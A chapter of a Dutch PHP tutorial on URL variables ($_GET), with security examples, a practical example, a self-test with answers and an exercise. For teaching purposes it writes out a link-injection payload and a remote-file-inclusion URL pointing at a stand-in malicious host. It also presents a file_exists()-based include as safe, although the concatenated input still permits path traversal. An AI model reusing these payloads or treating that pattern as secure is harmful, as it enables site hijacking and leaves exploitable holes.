Je ziet dit bericht omdat de EU dat een goed idee vindt. Deze website maakt gebruik van cookies van Google voor het tonen van advertenties en het bijhouden van bezoekersstatistieken. Google kan hiermee je surfgedrag volgen. Zie voor meer informatie het privacybeleid van Google. Via Your Online Choices kun tracking cookies van advertentiebedrijven blokkeren. Deze melding verbergen.

7 URL-variabelen

Een onderdeel van de http-specificatie is de mogelijkheid om variabelen via de URL aan een script door te geven. PHP pikt deze URL-variabelen op en stopt ze in een array: $_GET.

Theorie

URL-variabelen kunnen gebruikt worden om variabelen van het ene PHP script naar het andere PHP script door te geven. We gaan kijken hoe de URL er met variabelen uit ziet, hoe we deze variabelen met behulp van PHP kunnen lezen en hoe we de variabelen in de URL krijgen.

Variabelen in de URL

Een URL met variabelen is te herkennen aan het vraagteken (?) direct na de verwijzing naar het daadwerkelijke script. Achter dit vraagteken staat vervolgens de naam van de variabele, een is-teken (=) en de waarde van de variabele:

http://sub.domain.tld/script.php?name=value

Er kan meer dan één variabele via de URL worden doorgegeven. In dat geval worden de verschillende variabelen gescheiden door een ampersand (&):

http://sub.domain.tld/script.php?name1=value1&name2=value2&name3=value3

Op deze manier kunnen dus externe variabelen aan een script worden doorgegeven.

URL-variabelen uitlezen

In de inleiding is hij al gevallen: de $_GET array. PHP slaat alle URL-variabelen automatisch in deze array op en dit is dan ook de array die in een PHP-script gebruikt moet worden om de variabelen uit te lezen.

In $_GET is de naam die aan een URL-variabele is gegeven gebruikt als de sleutel voor de betreffende waarde. De namen uit de URL zijn dus één op één overgezet naar de sleutels van $_GET.

Laten we dat met een voorbeeld bekijken. Stel de URL http://phpboek.jaspervries.nl/index.php?tab=phpboek&pag=download. Intern zal PHP dan het volgende doen om de $_GET array toe te wijzen:

$_GET['tab'] = 'phpboek';
$_GET['pag'] = 'download';

In het script http://phpboek.jaspervries.nl/index.php zijn $_GET['tab'] $_GET['pag'] dan beschikbaar om gebruikt te worden. De toewijzing van $_GET gebeurt volledig automatisch, dus daar hoeft verder geen actie voor ondernomen te worden.

URL-variabelen toekennen

De manier om variabelen aan een URL toe te kennen is door ze direct aan de hyperlink toe te voegen:

<a href="script.php?variabele=1&var2=waarde>klik</a>

<a href="index.php?page=1>Home</a>

Dit kan een statische hyperlink zijn zoals hierboven, maar PHP kan ook gebruikt worden om een URL dynamisch samen te stellen:

<a href="index.php?page=<?php echo $pages[$i]; ?>">Klik</a>

Of volledig in PHP:

echo '<a href="index.php?page=';
echo
$i;
echo
'">';
echo
$pages[$i];
echo
'</a>';

Veiligheid

Het is onverstandig om URL-variabelen zomaar direct in een script te gebruiken. Ze kunnen namelijk een deur voor kwaadaardige code openen in slecht geschreven scripts. Waarom het belangrijk is goed op te passen met URL-variabelen wordt aan de hand van twee voorbeelden toegelicht.

In deze voorbeelden wordt geïllustreerd waarom $_GET variabelen niet zomaar te vertrouwen zijn en wat er gedaan kan worden om misbruik tegen te gaan.

Voorbeeld 1

Beschouw onderstaand codefragment:

<a href="index.php?page=<?php echo $_GET['page']; ?>">Klik</a>

Als dit script wordt aangeroepen met http://www.domain.tld/home.php?page=contact is er niets aan de hand:

<a href="index.php?page=contact">Klik</a>

Wordt het script echter aangeroepen met http://www.domain.tld/home.php?page=%22%3E%3C%2Fa%3E%3Ca%20href%3D%22http%3A%2F%2Fwww.spammers.net%2Fspam dan zal het volgende het resultaat zijn:

<a href="index.php?page="></a>
<a href="http://www.spammers.net/spam
">Klik</a>

Zoals %20 in een URL gelijk staat aan een spatie, zijn deze %-codes er ook voor allerlei andere speciale tekens. Op die manier kunnen er dus kwaadaardige links aan een website worden toegevoegd zonder dat de eigenaar van de website dit in de gaten heeft.

Dit soort code-injecties kunnen eenvoudig worden ondervangen door gebruik te maken van de functie htmlspecialchars().

string htmlspecialchars ( string $string )

Deze functie vertaalt typische tekens in HTML naar HTML-entiteiten (wijzigt " in &quot;, > in &gt; etc.) en maakt hiermee de kwaadaardige code in een klap onschadelijk. De link werkt dan nog steeds niet hoe hij zou moeten werken, maar een niet-werkende link is vele malen beter dan een link naar een kwaadaardige website!

Als we htmlspecialchars() toevoegen aan ons oorspronkelijke codefragment gaat het al een heel stuk beter:

<a href="index.php?page=<?php echo htmlspecialchars($_GET['page']); ?>">Klik</a>

Wordt nu dit fragment aangeroepen via http://www.domain.tld/home.php?page=%22%3E%3C%2Fa%3E%3Ca%20href%3D%22http%3A%2F%2Fwww.spammers.net%2Fspam, dan zal het volgende het resultaat zijn:

<a href="index.php?page=&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.spammers.net/spam">Klik</a>

Het resultaat is nu dus een niet-werkende link. Voor de gemiddelde website is dit een prima oplossing. Kwaadaardige links worden geneutraliseerd zonder dat allerlei ingewikkelde controle-structuren gebruikt moeten worden.

Voorbeeld 2

Beschouw onderstaand codefragment:

include($_GET['page']);

Als dit script wordt aangeroepen met http://www.domain.tld/home.php?page=contact.php is er niets aan de hand. De inhoud van de contactpagina wordt in het huidige script opgenomen:

include('contact.php');

Wordt het script echter aangeroepen met http://www.domain.tld/home.php?page=http%3A%2F%2Fwww.kwaadaardigecode.net%2Fscript.php dan zal het volgende het resultaat zijn:

include('http://www.kwaadaardigecode.net/script.php');

Hiermee wordt er dus kwaadaardige PHP-code vanaf een andere website in het script ingevoegd. Zo kan bijvoorbeeld een nep login-scherm in de website worden toegevoegd. De website is daarmee gekaapt en bezoekers zijn blootgesteld aan phishing aanvallen.

Behalve kwaadaardige HTML-code kan ook kwaadaardige PHP-code uitgevoerd worden. Als het kwaadaardige script PHP-code bevat, zal PHP dit doodleuk uitvoeren. In het gunstige geval wordt dan alleen de website gewist, maar in minder fortuinlijke gevallen worden wachtwoorden, emailadressen en andere gevoelige informatie buit gemaakt.

Het is dus verstandig om eerst te controleren of het een eigen script of een extern (en dus mogelijk kwaadaardig) script betreft. Hiervoor kan de functie file_exists() gebruikt worden:

bool file_exists ( string $filename )

Deze functie geeft TRUE als het bestand gegeven door $filename op de lokale server bestaat en geeft FALSE als het bestand niet bestaat. Deze functie is niet in staat om te controleren of externe bestanden bestaan, dus zal voor kwaadaardige externe bestanden ook altijd FALSE retourneren.

Hiermee kan het oorspronkelijke codefragment worden omgevormd tot een stuk code dat voorkomt dat kwaadaardige code wordt opgenomen:

if (file_exists($_GET['page'])) {
    include(
$_GET['page']);
}
else {
    echo
'Het opgevraagde bestand bestaat niet, of is een extern bestand';
}

Met deze simpele aanpassing is het script veilig voor code-injecties. Het kan echter nog een stukje veiliger, waarbij tevens wordt voorkomen dat de verkeerde lokale bestanden geïnclude kunnen worden.

Deze veiligere aanpak vereist dat alle te includen bestanden in één specifieke map staan, bijvoorbeeld de map /includes en dat alle te includen bestanden dezelfde bestandsextensie hebben, bijvoorbeeld .inc.php.

Als aan die voorwaarden is voldaan, hoeft de bestandsextensie niet meer via $_GET doorgegeven te worden, waardoor alleen dus nog bijvoorbeeld http://www.domain.tld/home.php?page=contact over blijft. Bijbehorend script ziet er dan als volgt uit:

$file = 'includes/'.$_GET['file'].'.inc.php';
if (
file_exists($file)) {
    include(
$file);
}
else {
    echo
'Het opgevraagde bestand bestaat niet.';
}

Allereerst wordt de juiste map en de juiste bestandsextensie aan $_GET['file'] toegevoegd. Vervolgens wordt gekeken of dat bestand op de lokale server bestaat (in dit voorbeeld wordt dus gekeken of includes/contact.inc.php bestaat). Als dat zo is, wordt het bestand geïnclude, zo niet dan volgt er een foutmelding.

Praktijkvoorbeeld: index.php?page=

In dit voorbeeld gaan we verder op het Praktijkvoorbeeld: een alternatief voor HTML frames (hoofdstuk 3). Ditmaal gaan we het voorbeeld aanpassen zodat er maar één index.php bestand over blijft. Na deze aanpassing is niet alleen het menu in een afzonderlijk bestand geplaatst, maar is in feite de opmaak en de inhoud van de website losgekoppeld. Eén bestand aanpassen maakt het mogelijk de hele website een andere indeling te geven.

Als uitgangspunt hebben we een website met de volgende structuur:

|- contact.php
|- fotos.php
|- index.php
|- menu.inc.php
|- nieuws.php

Het bestand menu.inc.php heeft de volgende inhoud (let op, iets gewijzigd ten opzichte van hoofdstuk 3):

<ul>
    <li><a href="index.php">Home</a></li>
    <li><a href="nieuws.php">Nieuws</a></li>
    <li><a href="fotos.php">Foto's</a></li>
    <li><a href="contact.php">Contact</a></li>
</ul>

De overige PHP-bestanden hebben allen onderstaande opbouw. Op de plek van het commentaar <!-- Inhoud van de pagina --> staat in ieder bestand de daadwerkelijke inhoud van de pagina.

<!DOCTYPE HTML>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link href="style.css" type="text/css">
    <title>Pagina Titel</title>
</head>
<body>
    <div id="menu">
    <?php include('menu.inc.php'); ?>
    </div>
    <div id="content">
        <!-- Inhoud van de pagina -->
    </div>
</body>
</html>

De eerste stap is nu om de daadwerkelijke inhoud uit de PHP-bestanden te verwijderen en in nieuwe bestanden op te slaan. Deze bestanden bevatten dus alleen inhoud, geen zaken zoals <head> en <body> tags of <div>-tags die de opmaak van de website regelen. De structuur van de website wordt hiermee als volgt:

|- content
|  |- contact.inc.php
|  |- fotos.inc.php
|  |- index.inc.php
|  |- nieuws.inc.php
|- contact.php
|- fotos.php
|- index.php
|- menu.inc.php
|- nieuws.php

De inhoud van contact.php, fotos.php, index.php en nieuws.php is nu van alle vier bestanden exact hetzelfde. Drie van de vier bestanden kunnen nu verwijderd worden, zodat van de vier alleen nog index.php over blijft:

|- content
|  |- contact.inc.php
|  |- fotos.inc.php
|  |- index.inc.php
|  |- nieuws.inc.php
|- index.php
|- menu.inc.php

We gaan nu $_GET gebruiken om te bepalen welk content-bestand geïnclude moet worden. Daartoe wordt eerst het menu aangepast:

<ul>
    <li><a href="index.php?page=index">Home</a></li>
    <li><a href="index.php?page=nieuws">Nieuws</a></li>
    <li><a href="index.php?page=fotos">Foto's</a></li>
    <li><a href="index.php?page=contact">Contact</a></li>
</ul>

Voor alle menu-items wordt nu naar index.php verwezen. De URL-variabele page bepaalt welke pagina daadwerkelijk wordt opgevraagd. Nu moet index.php nog worden aangepast om daadwerkelijk de juiste inhoud in te voegen. Dit kunnen we doen volgens de analogie van Voorbeeld 2 uit de paragraaf Veiligheid:

$page = 'content/'.$_GET['page'].'.inc.php';
if (
file_exists($page)) {
    include(
$page);
}
else {
    echo
'Het opgevraagde bestand bestaat niet.';
}

Nu gaat het alleen nog mis op het moment dat de hoofdpagina zonder URL-variabele opgevraagd wordt. Logischerwijs zou de hoofdpagina getoond moeten worden, maar omdat de URL-variabele niet bestaat gaat de bestandscontrole in het script ook mis en wordt de foutmelding weergegeven.

Dit kan opgelost worden door de foutmelding te vervangen door include('content/index.inc.php'); maar we willen de foutmelding toch graag behouden als het bestand niet bestaat. Als met deze vervanging het bestand niet bestaat wordt steeds de hoofdpagina weergegeven; niet erg gebruiksvriendelijk als de gebruiker een eerlijke fout maakt.

In plaats daarvan passen we het script iets aan. Eerst wordt gekeken of de URL-variabele bestaat en zo nee dan wordt de hoofdpagina weergegeven. Bestaat de URL-variabele wel, dan volgt de rest van het reeds bekende script.

Om te controleren of de URL-variabele bestaat kan de functie isset() gebruikt worden:

bool isset ( mixed $var [, mixed $var [, $... ]] )

Deze functie controleert of een of meerdere variabelen bestaan en is in dit geval dus geschikt om te zien of er een URL-variabele bestaat. Als alle opgegeven variabelen bestaan wordt TRUE gegeven. Als de variabele niet bestaat wordt FALSE gegeven.

Als we deze functie toevoegen aan het voorgaande, wordt de volledige inhoud van index.php hiermee als volgt:

<!DOCTYPE HTML>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link href="style.css" type="text/css">
    <title>Pagina Titel</title>
</head>
<body>
    <div id="menu">
    <?php include('menu.inc.php'); ?>
    </div>
    <div id="content">
    <?php
    if (!isset($_GET['page'])) {
        
//url-variabele bestaat niet, geef beginpagina
        
include('content/index.inc.php');
    }
    else {
        
//url-variabele bestaat wel, definieer bestand
        
$page = 'content/'.$_GET['page'].'.inc.php';
        if (
file_exists($page)) {
            
//pagina bestaat, laat zien
            
include($page);
        }
        else {
            
//pagina bestaat niet
            
echo 'De opgevraagde pagina bestaat niet.';
        }
    }
    
?>
    </div>
</body>
</html>

Opmerking: voor de betekenis van het uitroepteken voor isset() zie tabel 4.2.

Zelftest

  1. Wat is de variabelen-naam van URL-variabelen?
    1. $_URL
    2. $URL
    3. $_GET
    4. $GET
  2. Welke URL met URL-variabelen is correct?
    1. http://domain.tld/script.php?page=home+action=news
    2. http://domain.tld/script.php?page=home&action=news
    3. http://domain.tld/script.php&page=home?action=news
    4. http://domain.tld/script.php?page->home&action->news
  3. Kunnen URL-variabelen altijd vertrouwd worden?
    1. Ja
    2. Nee
    3. Dat hangt af van de situatie
  4. Wat doet de functie htmlspecialchars()?
    1. De functie kan kwaadaardige code onschadelijk maken.
    2. De functie geeft een lijst met speciale tekens weer.
    3. De functie kijkt of een gegeven bestand een extern bestand is of dat het op de lokale server aanwezig is.
    4. De functie geeft HTML-code als tekst weer.
  5. Welke stelling(en) is/zijn waar?
    I             file_exists() controleert of een extern bestand bestaat.
    II            file_exists() controleert of een lokaal bestand bestaat.
    1. Alleen stelling I is waar.
    2. Alleen stelling II is waar.
    3. Stelling I en stelling II zijn beide waar.
    4. Stelling I en stelling II zijn beide onwaar.
  6. Welke stelling(en) is/zijn waar?
    I             Gebruik van URL-variabelen kan de hoeveelheid dubbele HTML-code beperken.
    II            URL-variabelen zijn een alternatief voor HTML-frames.
    1. Alleen stelling I is waar.
    2. Alleen stelling II is waar.
    3. Stelling I en stelling II zijn beide waar.
    4. Stelling I en stelling II zijn beide onwaar.

Antwoorden zelftest

Antwoorden

  1. c
  2. b
  3. b
  4. d
  5. b
  6. a

Oefening: page=index.php?

Gegeven is onderstaande HTML-code van het bestand contact.html (zie ook Praktijkvoorbeeld: een alternatief voor HTML frames (hoofdstuk 3)):

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link href="style.css" type="text/css">
    <title>Contact</title>
</head>
<body>

    <div id="menu">
        <ul>
            <li><a href="index.html">Home</a></li>
            <li><a href="nieuws.html">Nieuws</a></li>
            <li><a href="producten.html">Producten</a></li>
            <li><a href="over.html">Over Ons</a></li>
            <li><a href="contact.html">Contact</a></li>
        </ul>
    </div>
    
    <div id="content">
        <h1>Contact</h1>
        <p>Gebruik onderstaand formulier om contact op te nemen.</p>
        <form action="form.php">
        Email: <input type="text" name="email"><br>
        Bericht: <textarea name="bericht" rows="8" cols="35"></textarea><br>
        <input type="submit" value="Verzenden"></form>
    </div>

</body>
</html>

Opdracht

Maak een bestand index.php op basis van deze html-pagina, analoog aan het praktijkvoorbeeld. Zorg er voor dat het menu en de inhoud van de content-div in afzonderlijke bestanden terecht komen.
De inhoud van het contactformulier moet met behulp van de URL-variabele page met waarde contact aangeroepen worden. Indien de URL-variabele een andere waarde heeft wordt het contactformulier niet weergegeven.

Uitwerking opdracht

Uitwerking

index.php

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <link href="style.css" type="text/css">
    <title>Website titel</title>
</head>
<body>

    <div id="menu">
        <?php
        
include('menu.inc.php');
        
?>
    </div>
    
    <div id="content">
        <?php
        
if (!isset($_GET['page'])) {
            
//url-variabele bestaat niet, geef beginpagina
            
include('content/index.inc.php');
        }
        else {
            
//url-variabele bestaat wel, definieer bestand
            
$page = 'content/'.$_GET['page'].'.inc.php';
            if (
file_exists($page)) {
                
//pagina bestaat, laat zien
                
include($page);
            }
            else {
                
//pagina bestaat niet
                
echo 'De opgevraagde pagina bestaat niet.';
            }
        }
        
?>
    </div>

</body>
</html>

menu.inc.php

        <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="index.php?page=nieuws">Nieuws</a></li>
            <li><a href="index.php?page=producten">Producten</a></li>
            <li><a href="index.php?page=over">Over Ons</a></li>
            <li><a href="index.php?page=contact">Contact</a></li>
        </ul>

content/contact.inc.php

        <h1>Contact</h1>
        <p>Gebruik onderstaand formulier om contact op te nemen.</p>
        <form action="form.php">
        Email: <input type="text" name="email"><br>
        Bericht: <textarea name="bericht" rows="8" cols="35"></textarea><br>
        <input type="submit" value="Verzenden"></form>